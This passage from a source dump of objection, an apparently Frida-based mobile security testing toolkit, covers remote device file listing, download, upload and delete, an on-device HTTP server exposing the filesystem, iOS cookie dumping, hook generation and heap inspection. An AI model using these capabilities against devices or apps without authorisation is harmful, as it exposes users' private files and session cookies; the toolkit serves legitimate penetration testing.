Checks if a path exists on remote device.\n\n        :param path:\n        :return:\n    \"\"\"\n\n    if device_state.platform == Ios:\n        return _path_exists_ios(path)\n\n    if device_state.platform == Android:\n        return _path_exists_android(path)\n\n\ndef _path_exists_ios(path: str) -> bool:\n    \"\"\"\n        Checks an iOS device if a path exists.\n\n        :param path:\n        :return:\n    \"\"\"\n\n    api = state_connection.get_api()\n    return api.ios_file_exists(path)\n\n\ndef _path_exists_android(path: str) -> bool:\n    \"\"\"\n        Checks an Android device if a path exists.\n\n        :param path:\n        :return:\n    \"\"\"\n\n    api = state_connection.get_api()\n    return api.android_file_exists(path)\n\n\ndef pwd(args: list = None) -> str:\n    \"\"\"\n        Return the current working directory.\n\n        If a record exists in the filemanager state, that directory\n        is returned. Else, an environment specific call is made to\n        the device to determine the directory it considers itself\n        to be working from.\n\n        :param args:\n        :return:\n    \"\"\"\n\n    if file_manager_state.cwd is not None:\n        return file_manager_state.cwd\n\n    if device_state.platform == Ios:\n        return _pwd_ios()\n\n    if device_state.platform == Android:\n        return _pwd_android()\n\n\ndef pwd_print(args: list = None) -> None:\n    \"\"\"\n        Prints the current working directory.\n\n        :param args:\n        :return:\n    \"\"\"\n\n    click.secho('Current directory: {0}'.format(pwd()))\n\n\ndef _pwd_ios() -> str:\n    \"\"\"\n        Execute a Frida hook that gets the current working\n        directory from an iOS device.\n\n        :return:\n    \"\"\"\n\n    api = state_connection.get_api()\n    cwd = api.ios_file_cwd()\n\n    # update the file_manager state's cwd\n    file_manager_state.cwd = cwd\n\n    return cwd\n\n\ndef _pwd_android() -> str:\n    \"\"\"\n        Execute a Frida hook that gets the current working\n        directory from an Android device.\n\n        :return:\n    \"\"\"\n\n    api = state_connection.get_api()\n    cwd = api.android_file_cwd()\n\n    # update the file_manager state's cwd\n    file_manager_state.cwd = cwd\n\n    return cwd\n\n\ndef ls(args: list) -> None:\n    \"\"\"\n        Get a directory listing for a path on a device.\n        If no path is provided, the current working directory is used.\n\n        :param args:\n        :return:\n    \"\"\"\n\n    # check if we have received a path to ls for.\n    if len(args) <= 0:\n        path = pwd()\n    else:\n        path = args[0]\n        if not os.path.isabs(path):\n            path = device_state.platform.path_separator.join([pwd(), path])\n\n    # based on the runtime, execute the correct ls method.\n    if device_state.platform == Ios:\n        _ls_ios(path)\n\n    if device_state.platform == Android:\n        _ls_android(path)\n\n\ndef _ls_ios(path: str) -> None:\n    \"\"\"\n        List files implementation for iOS.\n\n        See:\n            http://www.stanford.edu/class/cs193p/cgi-bin/drupal/system/files/lectures/09_Data.pdf\n\n        :param path:\n        :return:\n    \"\"\"\n\n    api = state_connection.get_api()\n    data = api.ios_file_ls(path)\n\n    def _get_key_if_exists(attribs, key):\n        \"\"\"\n            Small helper to grab keys where some may or may\n            not exist in the file attributes.\n\n            :param attribs:\n            :param key:\n            :return:\n        \"\"\"\n\n        if key in attribs:\n            return attribs[key]\n\n        return 'n/a'\n\n    def _humanize_size_if_possible(size: str) -> str:\n        \"\"\"\n            Small helper method used to 'humanize' file sizes\n            if the file size is not recorded as 'n/a'\n\n            :param size:\n            :return:\n        \"\"\"\n\n        return sizeof_fmt(int(size)) if size != 'n/a' else 'n/a'\n\n    # if the directory was readable, dump the filesystem listing\n    # and attributes to screen.\n    click.secho(tabulate(\n        [[\n            _get_key_if_exists(file_data['attributes'], 'NSFileType').replace('NSFileType', ''),\n            _get_key_if_exists(file_data['attributes'], 'NSFilePosixPermissions'),\n            _get_key_if_exists(file_data['attributes'], 'NSFileProtectionKey').replace('NSFileProtection', ''),\n\n            # file read / write permissions\n            file_data['readable'],\n            file_data['writable'],\n\n            # owner name and uid\n            _get_key_if_exists(file_data['attributes'], 'NSFileOwnerAccountName') + ' (' +\n            _get_key_if_exists(file_data['attributes'], 'NSFileOwnerAccountID') + ')',\n\n            # group name and gid\n            _get_key_if_exists(file_data['attributes'], 'NSFileGroupOwnerAccountName') + ' (' +\n            _get_key_if_exists(file_data['attributes'], 'NSFileGroupOwnerAccountID') + ')',\n\n            _humanize_size_if_possible(_get_key_if_exists(file_data['attributes'], 'NSFileSize')),\n            _get_key_if_exists(file_data['attributes'], 'NSFileCreationDate'),\n\n            file_name,\n\n        ] for file_name, file_data in data['files'].items()], headers=[\n            'NSFileType', 'Perms', 'NSFileProtection', 'Read', 'Write', 'Owner', 'Group', 'Size', 'Creation', 'Name'\n        ],\n    )) if data['readable'] else None\n\n    # handle the permissions summary for this directory\n    click.secho('\\nReadable: {0}  Writable: {1}'.format(data['readable'], data['writable']), bold=True)\n\n\ndef _ls_android(path: str) -> None:\n    \"\"\"\n        Lit files implementation for Android devices.\n\n        :param path:\n        :return:\n    \"\"\"\n\n    api = state_connection.get_api()\n    data = api.android_file_ls(path)\n\n    def _timestamp_to_str(stamp: str) -> str:\n        \"\"\"\n            Small helper method to convert the timestamps we get\n            from the Android filesystem to human readable ones.\n\n            :param stamp:\n            :return:\n        \"\"\"\n\n        # convert the time to an integer\n        stamp = int(stamp)\n\n        if stamp > 0:\n            return time.strftime('%Y-%m-%d %H:%M:%S GMT', time.gmtime(stamp / 1000.0))\n\n        return 'n/a'\n\n    click.secho(tabulate(\n        [[\n            'Directory' if file_data['attributes']['isDirectory'] else 'File',\n\n            _timestamp_to_str(file_data['attributes']['lastModified']),\n\n            # read / write permissions\n            file_data['readable'],\n            file_data['writable'],\n            file_data['attributes']['isHidden'],\n\n            sizeof_fmt(float(file_data['attributes']['size'])),\n\n            file_name,\n\n        ] for file_name, file_data in data['files'].items()], headers=[\n            'Type', 'Last Modified', 'Read', 'Write', 'Hidden', 'Size', 'Name'\n        ],\n    )) if data['readable'] else None\n\n    click.secho('\\nReadable: {0}  Writable: {1}'.format(data['readable'], data['writable']), bold=True)\n\n\ndef download(args: list) -> None:\n    \"\"\"\n        Downloads a file from a remote filesystem and stores\n        it locally.\n\n        This method is simply a proxy to the actual download methods\n        used for the appropriate environment.\n\n        :param args:\n        :return:\n    \"\"\"\n\n    if len(args) < 1:\n        click.secho('Usage: filesystem download <remote location> (optional: <local destination>)', bold=True)\n        return\n\n    # determine the source and destination file names.\n    # if we didnt get a specification of where to dump the file,\n    # assume the same name should be used locally.\n    source = args[0]\n    destination = args[1] if len(args) > 1 else os.path.basename(source)\n\n    should_download_folder = _should_download_folder(args)\n\n    if device_state.platform == Ios:\n        _download_ios(source, destination, should_download_folder)\n\n    if device_state.platform == Android:\n        _download_android(source, destination, should_download_folder)\n\n\ndef _download_ios(path: str, destination: str, should_download_folder: bool, path_root: bool = True) -> None:\n    \"\"\"\n        Download a file from an iOS filesystem and store it locally.\n\n        :param path:\n        :param destination:\n        :return:\n    \"\"\"\n\n    # if the path we got is not absolute, join it with the\n    # current working directory\n    if not os.path.isabs(path):\n        path = device_state.platform.path_separator.join([pwd(), path])\n\n    api = state_connection.get_api()\n\n    if path_root:\n        click.secho('Downloading {0} to {1}'.format(path, destination), fg='green', dim=True)\n\n    if not api.ios_file_readable(path):\n        click.secho('Unable to download file. File is not readable.', fg='red')\n        return\n\n    if not api.ios_file_path_is_file(path):\n        if not should_download_folder:\n            click.secho('To download folders, specify --folder.', fg='yellow')\n            return\n\n        if os.path.exists(destination):\n            click.secho('The target path already exists.', fg='yellow')\n            return\n\n        os.makedirs(destination)\n\n        if path_root:\n            if not click.confirm('Do you want to download the full directory?', default=True):\n                click.secho('Download aborted.', fg='yellow')\n                return\n            click.secho('Downloading directory recursively...', fg='green')\n\n        data = api.ios_file_ls(path)\n        for name, _ in data['files'].items():\n            sub_path = device_state.platform.path_separator.join([path, name])\n            sub_destination = os.path.join(destination, name)\n\n            _download_ios(sub_path, sub_destination, True, False)\n        if path_root:\n            click.secho('Recursive download finished.', fg='green')\n\n        return\n\n    if path_root:\n        click.secho('Streaming file from device...', dim=True)\n    file_data = api.ios_file_download(path)\n\n    if path_root:\n        click.secho('Writing bytes to destination...', dim=True)\n\n    with open(destination, 'wb') as fh:\n        fh.write(bytearray(file_data['data']))\n\n    click.secho('Successfully downloaded {0} to {1}'.format(path, destination), bold=True)\n\n\ndef _download_android(path: str, destination: str, should_download_folder: bool, path_root: bool = True) -> None:\n    \"\"\"\n        Download a file from the Android filesystem and store it locally.\n\n        :param path:\n        :param destination:\n        :return:\n    \"\"\"\n\n    # if the path we got is not absolute, join it with the\n    # current working directory\n    if not os.path.isabs(path):\n        path = device_state.platform.path_separator.join([pwd(), path])\n\n    api = state_connection.get_api()\n\n    if path_root:\n        click.secho('Downloading {0} to {1}'.format(path, destination), fg='green', dim=True)\n\n    if not api.android_file_readable(path):\n        click.secho('Unable to download file. Target path is not readable.', fg='red')\n        return\n\n    if not api.android_file_path_is_file(path):\n        if not should_download_folder:\n            click.secho('To download folders, specify --folder.', fg='yellow')\n            return\n\n        if os.path.exists(destination):\n            click.secho('The target path already exists.', fg='yellow')\n            return\n\n        os.makedirs(destination)\n\n        if path_root:\n            if not click.confirm('Do you want to download the full directory?', default=True):\n                click.secho('Download aborted.', fg='yellow')\n                return\n            click.secho('Downloading directory recursively...', fg='green')\n\n        data = api.android_file_ls(path)\n        for name, _ in data['files'].items():\n            sub_path = device_state.platform.path_separator.join([path, name])\n            sub_destination = os.path.join(destination, name)\n\n            _download_android(sub_path, sub_destination, True, False)\n        if path_root:\n            click.secho('Recursive download finished.', fg='green')\n        return\n\n    if path_root:\n        click.secho('Streaming file from device...', dim=True)\n    file_data = api.android_file_download(path)\n\n    if path_root:\n        click.secho('Writing bytes to destination...', dim=True)\n\n    with open(destination, 'wb') as fh:\n        fh.write(bytearray(file_data['data']))\n\n    click.secho('Successfully downloaded {0} to {1}'.format(path, destination), bold=True)\n\n\ndef upload(args: list) -> None:\n    \"\"\"\n        Uploads a local file to the remote operating system.\n\n        This method is just a proxy method to the real upload\n        method used based on the runtime that is available.\n\n        :param args:\n        :return:\n    \"\"\"\n\n    if len(args) < 1:\n        click.secho('Usage: filesystem upload <local source> (optional: <remote destination>)', bold=True)\n        return\n\n    source = args[0]\n    destination = args[1] if len(args) > 1 else device_state.platform.path_separator.join(\n        [pwd(), os.path.basename(source)])\n\n    if device_state.platform == Ios:\n        _upload_ios(source, destination)\n\n    if device_state.platform == Android:\n        _upload_android(source, destination)\n\n\ndef _upload_ios(path: str, destination: str) -> None:\n    \"\"\"\n        Upload a file to a remote iOS filesystem.\n\n        :param path:\n        :param destination:\n        :return:\n    \"\"\"\n\n    if not os.path.isabs(destination):\n        destination = device_state.platform.path_separator.join([pwd(), destination])\n\n    api = state_connection.get_api()\n    click.secho('Uploading {0} to {1}'.format(path, destination), fg='green', dim=True)\n\n    # if we cant read the file, just stop\n    if not api.ios_file_writable(os.path.dirname(destination)):\n        click.secho('Unable to upload file. Destination is not writable.', fg='red')\n        return\n\n    click.secho('Reading source file...', dim=True)\n    with open(path, 'rb') as f:\n        data = f.read().hex()\n\n    click.secho('Sending file to device for writing...', dim=True)\n    api.ios_file_upload(destination, data)\n\n    click.secho('Uploaded: {0}'.format(destination), dim=True)\n\n    # unset the cache key for this directory so the next short listing\n    # will have updated contents\n    if os.path.dirname(destination) in _ls_cache:\n        del _ls_cache[os.path.dirname(destination)]\n\n\ndef _upload_android(path: str, destination: str) -> None:\n    \"\"\"\n        Upload a file to a remote Android filesystem.\n\n        :param path:\n        :param destination:\n        :return:\n    \"\"\"\n\n    if not os.path.isabs(destination):\n        destination = device_state.platform.path_separator.join([pwd(), destination])\n\n    api = state_connection.get_api()\n    click.secho('Uploading {0} to {1}'.format(path, destination), fg='green', dim=True)\n\n    # if we cant read the file, just stop\n    if not api.android_file_writable(os.path.dirname(destination)):\n        click.secho('Unable to upload file. Destination is not writable.', fg='red')\n        return\n\n    click.secho('Reading source file...', dim=True)\n    with open(path, 'rb') as f:\n        data = f.read().hex()\n\n    click.secho('Sending file to device for writing...', dim=True)\n    api.android_file_upload(destination, data)\n\n    click.secho('Uploaded: {0}'.format(destination), dim=True)\n\n    # unset the cache key for this directory so the next short listing\n    # will have updated contents\n    if os.path.dirname(destination) in _ls_cache:\n        del _ls_cache[os.path.dirname(destination)]\n\n\ndef rm(args: list) -> None:\n    \"\"\"\n        Remove a file from the remote filesystem.\n\n        :param args:\n        :return:\n    \"\"\"\n\n    if len(args) < 1:\n        click.secho('Usage: rm <target remote file>', bold=True)\n        return\n\n    target = args[0]\n\n    if not os.path.isabs(target):\n        target = device_state.platform.path_separator.join([pwd(), target])\n\n    if not click.confirm('Really delete {0} ?'.format(target)):\n        click.secho('Not deleting {0}'.format(target), dim=True)\n        return\n\n    if device_state.platform == Ios:\n        _rm_ios(target)\n\n    if device_state.platform == Android:\n        _rm_android(target)\n\n\ndef _rm_android(t: str) -> None:\n    \"\"\"\n        Removes a file from an Android device.\n\n        :param t:\n        :return:\n    \"\"\"\n\n    api = state_connection.get_api()\n\n    if not _path_exists_android(t):\n        click.secho('{0} does not exist'.format(t), fg='red')\n        return\n\n    if api.android_file_delete(t):\n        click.secho('{0} successfully deleted'.format(t), fg='green')\n\n    # update the file system cache entry\n    if os.path.dirname(t) in _ls_cache:\n        del _ls_cache[os.path.dirname(t)]\n\n\ndef _rm_ios(t: str) -> None:\n    \"\"\"\n        Removes a file from an iOS device.\n\n        :param t:\n        :return:\n    \"\"\"\n\n    api = state_connection.get_api()\n\n    if not _path_exists_ios(t):\n        click.secho('{0} does not exist'.format(t), fg='red')\n        return\n\n    if api.ios_file_delete(t):\n        click.secho('{0} successfully deleted'.format(t), fg='green')\n\n    # update the file system cache entry\n    if os.path.dirname(t) in _ls_cache:\n        del _ls_cache[os.path.dirname(t)]\n\n\ndef cat(args: list):\n    \"\"\"\n        Downloads a file from a remote filesystem and echos\n        it's contents\n\n        This method is simply a proxy to the relevant download methods\n        that echoes the contents and cleans up after itself.\n\n        :param args:\n        :return:\n    \"\"\"\n\n    if len(args) < 1:\n        click.secho('Usage: filesystem cat <remote location>', bold=True)\n        return\n\n    # determine the source and destination file names.\n    # if we didnt get a specification of where to dump the file,\n    # assume the same name should be used locally.\n    source = args[0]\n    _, destination = tempfile.mkstemp('.file')\n\n    if device_state.platform == Ios:\n        _download_ios(source, destination, False)\n\n    if device_state.platform == Android:\n        _download_android(source, destination, False)\n\n    click.secho('====', dim=True)\n    with open(destination, 'r', encoding='utf-8', errors='ignore') as f:\n        print(f.read(), end='', )\n    click.secho('====', dim=True)\n\n    os.remove(destination)\n\n\ndef _get_short_ios_listing() -> list:\n    \"\"\"\n        Get a shortened file and directory listing for\n        iOS devices.\n\n        :return:\n    \"\"\"\n\n    # default to the pwd. this method is for tab\n    # completions anyways.\n    directory = pwd()\n\n    # the response for this directory\n    resp = []\n\n    # check our cheap cache if we have a listing\n    if directory in _ls_cache:\n        return _ls_cache[directory]\n\n    api = state_connection.get_api()\n    data = api.ios_file_ls(directory)\n\n    # loop the response, marking entries as either being\n    # a file or a directory. this response will be stored\n    # in the _ls_cache too.\n    for name, attribs in data['files'].items():\n\n        # attributes key contains the type\n        attributes = attribs['attributes']\n\n        # if the attributes dict does not have the file type,\n        # just continue as we cant be sure what it is.\n        if 'NSFileType' not in attributes:\n            continue\n\n        # append a tuple with name, type\n        resp.append((name, 'directory' if attributes['NSFileType'] == 'NSFileTypeDirectory' else 'file'))\n\n    # cache the response so its faster next time!\n    _ls_cache[directory] = resp\n\n    # grab the output lets seeeeee\n    return resp\n\n\ndef _get_short_android_listing() -> list:\n    \"\"\"\n        Get a shortened file and directory listing for\n        Android devices.\n\n        :return:\n    \"\"\"\n\n    # default to the pwd. this method is for tab\n    # completions anyways.\n    directory = pwd()\n\n    # the response for this directory\n    resp = []\n\n    # check our cheap cache if we have a listing\n    if directory in _ls_cache:\n        return _ls_cache[directory]\n\n    api = state_connection.get_api()\n    data = api.android_file_ls(directory)\n\n    # loop the response, marking entries as either being\n    # a file or a directory. this response will be stored\n    # in the _ls_cache too.\n    for name, attribs in data['files'].items():\n        attributes = attribs['attributes']\n\n        # append a tuple with name, type\n        resp.append((name, 'directory' if attributes['isDirectory'] else 'file'))\n\n    # cache the response so its faster next time!\n    _ls_cache[directory] = resp\n\n    # grab the output lets seeeeee\n    return resp\n\n\ndef list_folders_in_current_fm_directory() -> dict:\n    \"\"\"\n        Return folders in the current working directory of the\n        Frida attached device.\n    \"\"\"\n\n    resp = {}\n\n    # get the folders based on the runtime\n    if device_state.platform == Ios:\n        response = _get_short_ios_listing()\n\n    elif device_state.platform == Android:\n        response = _get_short_android_listing()\n\n    # looks like we landed in an unknown runtime.\n    # just return.\n    else:\n        return resp\n\n    # loop the response to get entries for the 'directory'\n    # type.\n    for entry in response:\n        file_name, file_type = entry\n\n        if file_type == 'directory':\n            if ' ' in file_name:\n                resp[f\"'{file_name}'\"] = file_name\n            else:\n                resp[file_name] = file_name\n\n    return resp\n\n\ndef list_files_in_current_fm_directory() -> dict:\n    \"\"\"\n        Return files in the current working directory of the\n        Frida attached device.\n    \"\"\"\n\n    resp = {}\n\n    # check for existence based on the runtime\n    if device_state.platform == Ios:\n        response = _get_short_ios_listing()\n\n    elif device_state.platform == Android:\n        response = _get_short_android_listing()\n\n    # looks like we landed in an unknown runtime.\n    # just return.\n    else:\n        return resp\n\n    # loop the response to get entries for the 'directory'\n    # type.\n    for entry in response:\n        file_name, file_type = entry\n\n        if file_type == 'file':\n            if ' ' in file_name:\n                resp[f\"'{file_name}'\"] = file_name\n            else:\n                resp[file_name] = file_name\n\n    return resp\n\n\ndef list_content_in_current_fm_directory() -> dict:\n    \"\"\"\n        Return folders and files in the current working directory of the\n        Frida attached device.\n    \"\"\"\n\n    resp = {}\n\n    # check for existence based on the runtime\n    if device_state.platform == Ios:\n        response = _get_short_ios_listing()\n\n    elif device_state.platform == Android:\n        response = _get_short_android_listing()\n\n    # looks like we landed in an unknown runtime.\n    # just return.\n    else:\n        return resp\n\n    # loop the response to get entries.\n    for entry in response:\n        name, _ = entry\n\n        if ' ' in name:\n            resp[f\"'{name}'\"] = name\n        else:\n            resp[name] = name\n\n    return resp\n"
  },
  {
    "path": "objection/commands/frida_commands.py",
    "content": "import os\n\nimport click\nfrom tabulate import tabulate\n\nfrom objection.state.connection import state_connection\nfrom ..utils.helpers import sizeof_fmt, clean_argument_flags\n\n\ndef _should_disable_exception_handler(args: list = None) -> bool:\n    \"\"\"\n        Checks the arguments if '--no-exception-handler'\n        is part of it.\n\n        :param args:\n        :return:\n    \"\"\"\n\n    return len(args) > 0 and '--no-exception-handler' in args\n\n\ndef frida_environment(args: list = None) -> None:\n    \"\"\"\n        Prints information about the current Frida environment.\n\n        :param args:\n        :return:\n    \"\"\"\n\n    frida_env = state_connection.get_api().env_frida()\n\n    click.secho(tabulate([\n        ('Frida Version', frida_env['version']),\n        ('Process Architecture', frida_env['arch']),\n        ('Process Platform', frida_env['platform']),\n        ('Debugger Attached', frida_env['debugger']),\n        ('Script Runtime', frida_env['runtime']),\n        ('Frida Heap Size', sizeof_fmt(frida_env['heap']))\n    ]))\n\n\ndef ping(args: list = None) -> None:\n    \"\"\"\n        Pings the agent.\n\n        :param args:\n        :return:\n    \"\"\"\n\n    agent = state_connection.get_api()\n    if agent.ping():\n        click.secho('The agent responds ok!', fg='green')\n    else:\n        click.secho('The agent did not respond ok!', fg='red')\n\n\ndef load_background(args: list = None) -> None:\n    \"\"\"\n        Loads a Frida script and runs it in the background.\n\n        :param args:\n        :return:\n    \"\"\"\n\n    if len(clean_argument_flags(args)) <= 0:\n        click.secho('Usage: import <local path to frida-script> (optional name)',\n                    bold=True)\n        return\n\n    source = args[0]\n\n    # support ~ syntax\n    if source.startswith('~'):\n        source = os.path.expanduser(source)\n\n    if not os.path.isfile(source):\n        click.secho('Unable to import file {0}'.format(source), fg='red')\n        return\n\n    # read the hook sources\n    with open(source, 'r') as f:\n        hook = ''.join(f.read())\n\n    agent = state_connection.get_agent()\n    agent.attach_script(source, hook)\n\n"
  },
  {
    "path": "objection/commands/http.py",
    "content": "import click\n\nfrom ..commands.filemanager import pwd\nfrom ..state.connection import state_connection\n\n\ndef start(args: list) -> None:\n    \"\"\"\n        Start's an http server, exposing the mobile devices filesystem.\n\n        :param args:\n        :return:\n    \"\"\"\n\n    port = 9000\n\n    if len(args) > 0:\n        port = int(args[0])\n\n    click.secho('Starting server on port {port}...'.format(port=port), dim=True)\n\n    api = state_connection.get_api()\n    api.http_server_start(pwd(), port)\n\n\ndef stop(args: list) -> None:\n    \"\"\"\n        Stops the on device HTTP server\n\n        :param args:\n        :return:\n    \"\"\"\n\n    api = state_connection.get_api()\n    api.http_server_stop()\n\n\ndef status(args: list) -> None:\n    \"\"\"\n        Get the status of the HTTP server\n\n        :param args:\n        :return:\n    \"\"\"\n\n    api = state_connection.get_api()\n    api.http_server_status()\n"
  },
  {
    "path": "objection/commands/ios/__init__.py",
    "content": ""
  },
  {
    "path": "objection/commands/ios/binary.py",
    "content": "import click\nfrom tabulate import tabulate\n\nfrom objection.state.connection import state_connection\n\n\ndef info(args: list) -> None:\n    \"\"\"\n        Gets information about binaries and frameworks.\n\n        :param args:\n        :return:\n    \"\"\"\n\n    api = state_connection.get_api()\n    binary_info = api.ios_binary_info()\n\n    click.secho(tabulate(\n        [[\n            name,\n            information['type'],\n            information['encrypted'],\n            information['pie'],\n            information['arc'],\n            information['canary'],\n            information['stackExec'],\n            information['rootSafe']\n        ] for name, information in binary_info.items()],\n        headers=['Name', 'Type', 'Encrypted', 'PIE', 'ARC', 'Canary', 'Stack Exec', 'RootSafe'],\n    ))\n"
  },
  {
    "path": "objection/commands/ios/bundles.py",
    "content": "import click\nfrom tabulate import tabulate\n\nfrom objection.state.connection import state_connection\nfrom objection.utils.helpers import pretty_concat\n\n\ndef _should_include_apple_bundles(args: list) -> bool:\n    \"\"\"\n        Checks if arguments have the --include-apple-frameworks flag\n\n        :param args:\n        :return:\n    \"\"\"\n\n    return len(args) > 0 and '--include-apple-frameworks' in args\n\n\ndef _should_print_full_path(args: list) -> bool:\n    \"\"\"\n        Checks if arguments have the --full-path flag\n\n        :param args:\n        :return:\n    \"\"\"\n\n    return len(args) > 0 and '--full-path' in args\n\n\ndef _is_apple_bundle(bundle: str) -> bool:\n    \"\"\"\n        Check if a string bundle identifier is considered an Apple\n        bundle based on the fact that the bundle name starts with\n        the string com.apple\n\n        :param bundle:\n        :return:\n    \"\"\"\n\n    # This is a bit of an assumption, but ok.\n    if bundle is None:\n        return False\n\n    if bundle.startswith('com.apple'):\n        return True\n\n    return False\n\n\ndef show_frameworks(args: list = None) -> None:\n    \"\"\"\n        Prints information about bundles that represent frameworks.\n\n        https://developer.apple.com/documentation/foundation/nsbundle/1408056-allframeworks?language=objc\n\n        :param args:\n        :return:\n    \"\"\"\n\n    api = state_connection.get_api()\n    frameworks = api.ios_bundles_get_frameworks()\n\n    # apply filters\n    if not _should_include_apple_bundles(args):\n        frameworks = [f for f in frameworks if not _is_apple_bundle(f['bundle'])]\n\n    # Just dump it to the screen\n    click.secho(tabulate(\n        [[\n            entry['executable'],\n            entry['bundle'],\n            entry['version'],\n            entry['path'] if _should_print_full_path(args) else pretty_concat(entry['path'], 40, True),\n        ] for entry in frameworks\n        ], headers=['Executable', 'Bundle', 'Version', 'Path'],\n    ))\n\n\ndef show_bundles(args: list = None) -> None:\n    \"\"\"\n        Prints information about bundles that are not necessarily frameworks\n\n        https://developer.apple.com/documentation/foundation/nsbundle/1413705-allbundles?language=objc\n\n        :param args:\n        :return:\n    \"\"\"\n\n    api = state_connection.get_api()\n    bundles = api.ios_bundles_get_bundles()\n\n    # Just dump it to the screen\n    click.secho(tabulate(\n        [[\n            entry['executable'],\n            entry['bundle'],\n            entry['version'],\n            entry['path'] if _should_print_full_path(args) else pretty_concat(entry['path'], 40, True),\n        ] for entry in bundles\n        ], headers=['Executable', 'Bundle', 'Version', 'Path'],\n    ))\n"
  },
  {
    "path": "objection/commands/ios/cookies.py",
    "content": "import json\n\nimport click\nfrom tabulate import tabulate\n\nfrom objection.state.connection import state_connection\n\n\ndef _should_dump_json(args: list) -> bool:\n    \"\"\"\n        Check if --json is part of the arguments.\n\n        :param args:\n        :return:\n    \"\"\"\n\n    return '--json' in args\n\n\ndef get(args: list) -> None:\n    \"\"\"\n        Gets cookies using the iOS NSHTTPCookieStorage sharedHTTPCookieStorage\n        and prints them to the screen.\n\n        :param args:\n        :return:\n    \"\"\"\n\n    api = state_connection.get_api()\n    cookies = api.ios_cookies_get()\n\n    if _should_dump_json(args):\n        print(json.dumps(cookies, indent=4))\n        return\n\n    if len(cookies) <= 0:\n        click.secho('No cookies found')\n        return\n\n    click.secho(tabulate(\n        [[\n            cookie['name'],\n            cookie['value'],\n            cookie['expiresDate'],\n            cookie['domain'],\n            cookie['path'],\n            cookie['isSecure'],\n            cookie['isHTTPOnly']\n        ] for cookie in cookies], headers=['Name', 'Value', 'Expires', 'Domain', 'Path', 'Secure', 'HTTPOnly'],\n    ))\n"
  },
  {
    "path": "objection/commands/ios/generate.py",
    "content": "import os\n\nimport click\n\nfrom objection.state.connection import state_connection\n\n\ndef clazz(args: list) -> None:\n    \"\"\"\n        Simply echoes the source for a generic Hook Manager\n        sample for Objective-C hooks with Frida.\n\n        :param args:\n        :return:\n    \"\"\"\n\n    js_path = os.path.join(\n        os.path.abspath(os.path.dirname(__file__)),\n        '../../utils/assets', 'objchookmanager.js'\n    )\n\n    with open(js_path, 'r') as f:\n        click.secho(f.read(), dim=True)\n\n\ndef simple(args: list) -> None:\n    \"\"\"\n        Generate simple hooks for all methods in a class.\n\n        :param args:\n        :return:\n    \"\"\"\n\n    if len(args) <= 0:\n        click.secho('Usage: ios hooking generate simple <class name>', bold=True)\n        return\n\n    classname = args[0]\n\n    api = state_connection.get_api()\n    methods = api.ios_hooking_get_class_methods(classname, False)\n\n    if len(methods) <= 0:\n        click.secho('No class / methods found')\n        return\n\n    click.secho(\"var target = ObjC.classes.{};\".format(classname), dim=True)\n\n    for method in methods:\n        hook = \"\"\"\nInterceptor.attach(target['{method}'].implementation, {\n  onEnter: function (args) {\n    console.log('Entering {method}!');\n  },\n  onLeave: function (retval) {\n    console.log('Leaving {method}');\n  },\n});\n    \"\"\".replace('{method}', method)\n\n        click.secho(hook, dim=True)\n"
  },
  {
    "path": "objection/commands/ios/heap.py",
    "content": "import pprint\n\nimport click\nfrom prompt_toolkit import prompt\nfrom prompt_toolkit.lexers import PygmentsLexer\nfrom pygments.lexers.javascript import JavascriptLexer\nfrom tabulate import tabulate\n\nfrom objection.state.connection import state_connection\n\n\ndef _should_ignore_methods_with_arguments(args) -> bool:\n    \"\"\"\n        Check if the --without-arguments flag exists\n\n        :param args:\n        :return:\n    \"\"\"\n\n    return len(args) > 0 and '--without-arguments' in args\n\n\ndef _should_print_as_utf8(args) -> bool:\n    \"\"\"\n        Check if the --to-utf8 flag exists\n\n        :param args:\n        :return:\n    \"\"\"\n\n    return len(args) > 0 and '--to-utf8' in args\n\n\ndef _should_return_as_string(args) -> bool:\n    \"\"\"\n        Check if the --return-string flag exists\n\n        :param args:\n        :return:\n    \"\"\"\n\n    return len(args) > 0 and '--return-string' in args\n\n\ndef _should_interpret_inline_js(args) -> bool:\n    \"\"\"\n        Check if we have the --inline flag\n\n        :param args:\n        :return:\n    \"\"\"\n\n    return len(args) > 0 and '--inline' in args\n\n\ndef instances(args: list) -> None:\n    \"\"\"\n        Asks the agent to print the currently live instances of a particular class\n\n        :param args:\n        :return:\n    \"\"\"\n\n    if len(args) < 1:\n        click.secho('Usage: ios heap search instances <class> (eg: com.example.test)', bold=True)\n        return\n\n    target_class = args[0]\n\n    api = state_connection.get_api()\n    instance_results = api.ios_heap_print_live_instances(target_class)\n\n    # export interface IHeapObject {\n    #   className: string;\n    #   handle: string;\n    #   ivars: any[string];\n    #   kind: string;\n    #   methods: string[];\n    #   superClass: string;\n    # }\n\n    if len(instance_results) <= 0:\n        return\n\n    click.secho(tabulate(\n        [[\n            entry['handle'],\n            entry['kind'],\n            entry['className'],\n            entry['superClass'],\n            len(entry['ivars']),\n            len(entry['methods'])\n        ] for entry in instance_results], headers=['Handle', 'Kind', 'Class', 'Super', 'iVars', 'Methods'],\n    ))\n\n\ndef ivars(args: list) -> None:\n    \"\"\"\n        Get ivars for an Objective-C object at a pointer\n\n        :param args:\n        :return:\n    \"\"\"\n\n    if len(args) < 1:\n        click.secho('Usage: ios heap print ivars <pointer> (eg: 0x600001130660)', bold=True)\n        return\n\n    target_pointer = args[0]\n\n    api = state_connection.get_api()\n    ivar_results = api.ios_heap_print_ivars(target_pointer, _should_print_as_utf8(args))\n\n    click.secho(tabulate(\n        [[\n            key, value\n        ] for key, value in ivar_results[1].items()], headers=['iVar', 'Value'],\n    ))\n\n\ndef methods(args: list) -> None:\n    \"\"\"\n        Get methods for an Objective-C object at a pointer\n\n        :param args:\n        :return:\n    \"\"\"\n\n    if len(args) < 1:\n        click.secho('Usage: ios heap print methods <pointer> (eg: 0x600001130660)', bold=True)\n        return\n\n    target_pointer = args[0]\n\n    api = state_connection.get_api()\n    method_results = api.ios_heap_print_methods(target_pointer)\n\n    # apply argument filters\n    if _should_ignore_methods_with_arguments(args):\n        method_results[1] = list(filter(lambda x: ':' not in x, method_results[1]))\n\n    click.secho(tabulate(\n        [[\n            entry,\n            entry.split(\" \")[0],\n            \"{type} [{clazz} {method}]\".format(  # hacky, right? :D\n                type=entry.split(\" \")[0], clazz=method_results[0], method=entry.split(\" \")[1])\n        ] for entry in method_results[1]], headers=['Method', 'Type', 'Full'],\n    ))\n\n\ndef execute(args: list) -> None:\n    \"\"\"\n        Executes a method on a pointer which is assumed to be an Objective-C\n        object.\n\n        :param args:\n        :return:\n    \"\"\"\n\n    if len(args) < 1:\n        click.secho('Usage: ios heap execute method <pointer> <method> (eg: 0x600001130660)', 